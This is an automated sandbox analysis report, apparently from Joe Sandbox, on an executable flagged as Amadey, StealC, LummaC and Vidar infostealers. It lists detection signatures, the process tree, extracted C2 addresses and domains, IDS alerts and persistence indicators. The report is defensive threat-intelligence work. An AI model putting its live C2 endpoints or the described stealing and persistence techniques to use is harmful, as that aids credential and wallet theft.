Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1570747
MD5:	e3dfbe72de430b4043393fb8ff8e2384
SHA1:	47fc80752fa0339680a1b3cb3d4b1ba5d0a502c5
SHA256:	2a78168b664e599c73fae2fb2f42c2198a7eb21453f8125e8393cde02129e101
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, LummaC Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Potentially malicious time measurement code found

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Use Short Name Path in Command Line

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 2688 cmdline: "C:\Users\user\Desktop\file.exe" MD5: E3DFBE72DE430B4043393FB8FF8E2384)

chrome.exe (PID: 3232 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7412 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2492 --field-trial-handle=2196,i,4868894601841744955,10257987303288311924,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 8052 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 1748 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2408 --field-trial-handle=2248,i,9099896745264163238,9476134514677469961,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 7580 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\FIDGHIIECG.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7624 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

FIDGHIIECG.exe (PID: 7536 cmdline: "C:\Users\user\Documents\FIDGHIIECG.exe" MD5: 071FD9342E197AB323E93E0395FADBD0)

skotes.exe (PID: 7340 cmdline: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 071FD9342E197AB323E93E0395FADBD0)

msedge.exe (PID: 2156 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7928 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2140 --field-trial-handle=2004,i,15111161645592940276,13810185552624013604,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 7352 cmdline: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 071FD9342E197AB323E93E0395FADBD0)

skotes.exe (PID: 8064 cmdline: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 071FD9342E197AB323E93E0395FADBD0)

16b11e2c5c.exe (PID: 5816 cmdline: "C:\Users\user~1\AppData\Local\Temp\1013060001\16b11e2c5c.exe" MD5: 5FB2B7580911F21BBB4796C243F64201)

7215223519.exe (PID: 7184 cmdline: "C:\Users\user~1\AppData\Local\Temp\1013061001\7215223519.exe" MD5: E3DFBE72DE430B4043393FB8FF8E2384)

16b11e2c5c.exe (PID: 4564 cmdline: "C:\Users\user~1\AppData\Local\Temp\1013060001\16b11e2c5c.exe" MD5: 5FB2B7580911F21BBB4796C243F64201)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: LummaC

{"C2 url": ["impend-differ.biz", "dwell-exclaim.biz", "zinc-sneark.biz", "dare-curbys.biz", "covery-mover.biz", "se-blurry.biz", "formy-spill.biz", "atten-supporse.biz", "print-vexer.biz"], "Build id": "LOGS11--LiveTraffic"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000001C.00000003.2475592661.0000000004C80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000018.00000002.2488545879.0000000000711000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000014.00000002.1917285827.0000000000711000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001A.00000002.2490560017.00000000012FF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1246263357.0000000004F00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1861693322.000000000129E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001A.00000003.2447835930.000000000136A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1859870792.00000000009B1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000015.00000002.1916958875.0000000000711000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000013.00000002.1891033579.0000000000661000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 2688	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 2688	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 2688	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 2688	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 16b11e2c5c.exe PID: 5816	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 16b11e2c5c.exe PID: 5816	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 16b11e2c5c.exe PID: 5816	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 7215223519.exe PID: 7184	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 7215223519.exe PID: 7184	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 14 entries

Unpacked PEs

Source	Rule	Description	Author
20.2.skotes.exe.710000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
19.2.FIDGHIIECG.exe.660000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
21.2.skotes.exe.710000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
24.2.skotes.exe.710000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user~1\AppData\Local\Temp\1013060001\16b11e2c5c.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 8064, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\16b11e2c5c.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 2688, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", ProcessId: 3232, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user~1\AppData\Local\Temp\1013060001\16b11e2c5c.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 8064, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\16b11e2c5c.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" , CommandLine: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ParentCommandLine: "C:\Users\user\Documents\FIDGHIIECG.exe" , ParentImage: C:\Users\user\Documents\FIDGHIIECG.exe, ParentProcessId: 7536, ParentProcessName: FIDGHIIECG.exe, ProcessCommandLine: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" , ProcessId: 7340, ProcessName: skotes.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T00:50:00.822719+0100	2028371	3	Unknown Traffic	192.168.2.7	49980	172.67.165.166	443	TCP
2024-12-08T00:50:02.899057+0100	2028371	3	Unknown Traffic	192.168.2.7	49987	172.67.165.166	443	TCP
2024-12-08T00:50:05.233961+0100	2028371	3	Unknown Traffic	192.168.2.7	49994	172.67.165.166	443	TCP
2024-12-08T00:50:08.209595+0100	2028371	3	Unknown Traffic	192.168.2.7	50001	172.67.165.166	443	TCP
2024-12-08T00:50:20.302040+0100	2028371	3	Unknown Traffic	192.168.2.7	50012	172.67.165.166	443	TCP
2024-12-08T00:50:27.218241+0100	2028371	3	Unknown Traffic	192.168.2.7	50013	172.67.165.166	443	TCP
2024-12-08T00:50:29.786622+0100	2028371	3	Unknown Traffic	192.168.2.7	50014	172.67.165.166	443	TCP
2024-12-08T00:50:32.171720+0100	2028371	3	Unknown Traffic	192.168.2.7	50015	172.67.165.166	443	TCP
2024-12-08T00:50:34.674752+0100	2028371	3	Unknown Traffic	192.168.2.7	50016	172.67.165.166	443	TCP
2024-12-08T00:50:37.049945+0100	2028371	3	Unknown Traffic	192.168.2.7	50017	172.67.165.166	443	TCP
2024-12-08T00:50:44.609858+0100	2028371	3	Unknown Traffic	192.168.2.7	50018	172.67.165.166	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T00:50:01.639180+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49980	172.67.165.166	443	TCP
2024-12-08T00:50:03.706338+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49987	172.67.165.166	443	TCP
2024-12-08T00:50:21.077767+0100	2054653	1	A Network Trojan was detected	192.168.2.7	50012	172.67.165.166	443	TCP
2024-12-08T00:50:28.042623+0100	2054653	1	A Network Trojan was detected	192.168.2.7	50013	172.67.165.166	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T00:50:01.639180+0100	2049836	1	A Network Trojan was detected	192.168.2.7	49980	172.67.165.166	443	TCP
2024-12-08T00:50:21.077767+0100	2049836	1	A Network Trojan was detected	192.168.2.7	50012	172.67.165.166	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T00:50:03.706338+0100	2049812	1	A Network Trojan was detected	192.168.2.7	49987	172.67.165.166	443	TCP
2024-12-08T00:50:28.042623+0100	2049812	1	A Network Trojan was detected	192.168.2.7	50013	172.67.165.166	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T00:50:00.822719+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.7	49980	172.67.165.166	443	TCP
2024-12-08T00:50:02.899057+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.7	49987	172.67.165.166	443	TCP
2024-12-08T00:50:05.233961+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.7	49994	172.67.165.166	443	TCP
2024-12-08T00:50:08.209595+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.7	50001	172.67.165.166	443	TCP
2024-12-08T00:50:20.302040+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.7	50012	172.67.165.166	443	TCP
2024-12-08T00:50:27.218241+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.7	50013	172.67.165.166	443	TCP
2024-12-08T00:50:29.786622+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.7	50014	172.67.165.166	443	TCP
2024-12-08T00:50:32.171720+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.7	50015	172.67.165.166	443	TCP
2024-12-08T00:50:34.674752+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.7	50016	172.67.165.166	443	TCP
2024-12-08T00:50:37.049945+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.7	50017	172.67.165.166	443	TCP
2024-12-08T00:50:44.609858+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.7	50018	172.67.165.166	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T00:50:00.519468+0100	2044696	1	A Network Trojan was detected	192.168.2.7	49979	185.215.113.43	80	TCP
2024-12-08T00:50:11.664702+0100	2044696	1	A Network Trojan was detected	192.168.2.7	50008	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (atten-supporse .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T00:49:59.461238+0100	2057921	1	Domain Observed Used for C2 Detected	192.168.2.7	65237	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T00:48:11.423519+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.7	49701	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T00:48:11.110771+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.7	49701	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T00:48:11.748811+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.7	49701	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T00:48:13.195234+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.7	49701	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T00:48:11.881710+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.7	49701	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T00:50:10.085293+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	50001	172.67.165.166	443	TCP
2024-12-08T00:50:44.632265+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	50018	172.67.165.166	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T00:48:10.661239+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	49701	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T00:49:49.263784+0100	2856147	1	A Network Trojan was detected	192.168.2.7	49948	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T00:49:59.170847+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.7	49957	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T00:49:53.692713+0100	2803305	3	Unknown Traffic	192.168.2.7	49960	185.215.113.16	80	TCP
2024-12-08T00:50:01.978559+0100	2803305	3	Unknown Traffic	192.168.2.7	49983	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T00:48:13.990260+0100	2803304	3	Unknown Traffic	192.168.2.7	49701	185.215.113.206	80	TCP
2024-12-08T00:48:40.417502+0100	2803304	3	Unknown Traffic	192.168.2.7	49784	185.215.113.206	80	TCP
2024-12-08T00:48:42.289391+0100	2803304	3	Unknown Traffic	192.168.2.7	49784	185.215.113.206	80	TCP
2024-12-08T00:48:44.628779+0100	2803304	3	Unknown Traffic	192.168.2.7	49784	185.215.113.206	80	TCP
2024-12-08T00:48:46.641536+0100	2803304	3	Unknown Traffic	192.168.2.7	49784	185.215.113.206	80	TCP
2024-12-08T00:48:53.727824+0100	2803304	3	Unknown Traffic	192.168.2.7	49784	185.215.113.206	80	TCP
2024-12-08T00:48:55.121622+0100	2803304	3	Unknown Traffic	192.168.2.7	49784	185.215.113.206	80	TCP
2024-12-08T00:49:00.685209+0100	2803304	3	Unknown Traffic	192.168.2.7	49835	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T00:50:44.632265+0100	2843864	1	A Network Trojan was detected	192.168.2.7	50018	172.67.165.166	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/68b591d6548ec281/sqlite3.dll2	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/sqlite3.dll.	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpBGDGCGDAKFIDGIDBFy	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php&)	Avira URL Cloud: Label: malware
Source: https://atten-supporse.biz/7	Avira URL Cloud: Label: malware
Source: https://atten-supporse.biz//	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/mozglue.dllB	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phph%D	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/nss3.dllL	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpgram	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php/x	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php2c542939725eb1a730a525b0c7bb	Avira URL Cloud: Label: malware
Source: https://atten-supporse.biz/apiR	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpC$	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/sqlite3.dllv	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\Documents\FIDGHIIECG.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\1013061001\7215223519.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000018.00000002.2488545879.0000000000711000.00000040.00000001.01000000.0000000E.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 00000000.00000002.1861693322.000000000129E000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}
Source: 16b11e2c5c.exe.5816.26.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["impend-differ.biz", "dwell-exclaim.biz", "zinc-sneark.biz", "dare-curbys.biz", "covery-mover.biz", "se-blurry.biz", "formy-spill.biz", "atten-supporse.biz", "print-vexer.biz"], "Build id": "LOGS11--LiveTraffic"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\1013061001\7215223519.exe	ReversingLabs: Detection: 39%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Joe Sandbox ML: detected
